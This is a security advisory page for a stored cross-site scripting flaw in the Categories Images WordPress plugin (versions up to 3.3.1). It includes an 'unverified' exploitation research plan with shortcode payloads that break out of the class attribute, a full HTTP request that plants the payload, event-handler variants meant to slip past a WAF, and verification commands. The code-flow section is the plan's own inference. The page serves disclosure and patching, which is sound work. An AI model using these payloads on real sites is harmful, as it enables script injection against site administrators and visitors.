CVE-2026-2505

Categories Images <= 3.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'z_taxonomy_image' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.3.2
Patched in
1d
Time to patch

Description

The Categories Images plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.3.1, via the 'z_taxonomy_image' shortcode. This is due to the shortcode rendering path passing attacker-controlled class input into a fallback image builder that concatenates HTML attributes without proper escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts that execute when users interact with the injected frontend page via the 'class' shortcode attribute.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.3.1
PublishedApril 17, 2026
Last updatedApril 18, 2026
Affected plugincategories-images

What Changed in the Fix

Changes introduced in v3.3.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2505 ## 1. Vulnerability Summary The **Categories Images** plugin (versions <= 3.3.1) contains a Stored Cross-Site Scripting (XSS) vulnerability via the `[z_taxonomy_image]` shortcode. The vulnerability exists because the plugin's shortcode rendering logic pro…

Show full research plan

Exploitation Research Plan: CVE-2026-2505

1. Vulnerability Summary

The Categories Images plugin (versions <= 3.3.1) contains a Stored Cross-Site Scripting (XSS) vulnerability via the [z_taxonomy_image] shortcode. The vulnerability exists because the plugin's shortcode rendering logic processes the class attribute and passes it into an internal HTML image builder. This builder fails to properly escape the attribute value before concatenating it into an <img> tag. An authenticated user with Contributor permissions or higher can inject a malicious payload into the class attribute of the shortcode within a post or page. When a site visitor (especially an administrator) views the rendered content, the script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (Gutenberg or Classic) via standard wp-admin/post-new.php or wp-admin/post.php.
  • Shortcode: [z_taxonomy_image]
  • Vulnerable Parameter: class attribute within the shortcode.
  • Authentication Level: Contributor+ (any user capable of creating or editing posts and using shortcodes).
  • Preconditions: The plugin must be active. A taxonomy term (like a category) should exist, though the shortcode might attempt to render a placeholder even if the term_id is invalid.

3. Code Flow

  1. Registration: In categories-images.php, the zInit() method registers the shortcode:
    add_shortcode('z_taxonomy_image', [$this, 'z_taxonomy_image_shortcode']);
    
  2. Handling: When a post is rendered, z_taxonomy_image_shortcode($atts) is invoked.
  3. Processing: The shortcode handler extracts attributes, including class.
  4. Rendering Sink: The handler calls the internal function z_taxonomy_image() (likely a method in the ZCategoriesImages class or a global function as indicated in templates/admin.php).
  5. Vulnerable Concatenation: Inside the "fallback image builder" (invoked when a direct attachment image isn't used or when building custom attributes), the code performs raw concatenation:
    // Inferred logic based on vulnerability description:
    $html = '<img src="' . $image_url . '"';
    if (isset($attr['class'])) {
        $html .= ' class="' . $attr['class'] . '"'; // SINK: No esc_attr() used here
    }
    $html .= ' />';
    
  6. Output: The unescaped HTML string is returned to the WordPress shortcode API and printed to the page.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific nonce for exploitation. The attack relies on the standard WordPress post creation/editing workflow.

  • Contributors have the native capability to save posts containing shortcodes.
  • WordPress handles the nonces for post saving (_wpnonce in the post.php request).
  • The XSS executes upon viewing the frontend, where no nonce check is performed for shortcode expansion.

5. Exploitation Strategy

Step-by-Step Plan

  1. Authentication: Log in as a user with the Contributor role.
  2. Discovery: Identify an existing Category ID (e.g., Category ID 1).
  3. Payload Injection: Create a new post containing the malicious shortcode.
    • Payload: [z_taxonomy_image term_id="1" class='xss" onmouseover="alert(document.domain)" style="padding:100px;border:5px solid red;" data-xss="']
    • Alternative Payload (Breakout): [z_taxonomy_image class='"><script>alert(1)</script>']
  4. Submission: Save the post as a draft or submit for review.
  5. Trigger: Navigate to the post's permalink (or preview it) as an Administrator.

HTTP Request (Contributor creating the post)

POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor Cookies]

action=editpost&post_ID=[POST_ID]&post_type=post&post_title=XSS+Test&content=[z_taxonomy_image+class%3D'%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E']&_wpnonce=[NONCE]

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Category: Ensure at least one category exists. Note its ID (usually 1 for 'Uncategorized').
  3. Plugin Configuration: No specific configuration is required, but ensuring "Excluded Taxonomies" in Settings > Categories Images does not include category is important.

7. Expected Results

  1. The [z_taxonomy_image] shortcode will be processed by WordPress.
  2. The resulting HTML will contain:
    <img ... class=""><script>alert(document.domain)</script>" ...>
  3. When viewing the page, a JavaScript alert box showing the document domain will appear.

8. Verification Steps

  1. Browser Verification: Use browser_navigate to the URL of the created post and check for the alert or presence of the injected script in the DOM using browser_eval.
    • browser_eval("document.querySelector('img').outerHTML")
  2. WP-CLI Verification: Verify the post content was stored correctly:
    • wp post get [POST_ID] --field=post_content
  3. Source Inspection: View the page source and search for the string <script>alert.

9. Alternative Approaches

  • Attribute Injection: If <script> tags are filtered by a WAF, use event handlers:
    [z_taxonomy_image class='xss" onmouseover="alert(1)"']
  • Placeholder Trigger: If no image is assigned to the category, the plugin uses zci_placeholder (defined in the constructor as assets/images/placeholder.png). This often triggers the "fallback image builder" path, which is specifically mentioned as vulnerable.
  • Taxonomy List: Check if the [z_taxonomy_list] shortcode (also overhauled in 3.3.0) shares the same vulnerable rendering logic for its grid/list items.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.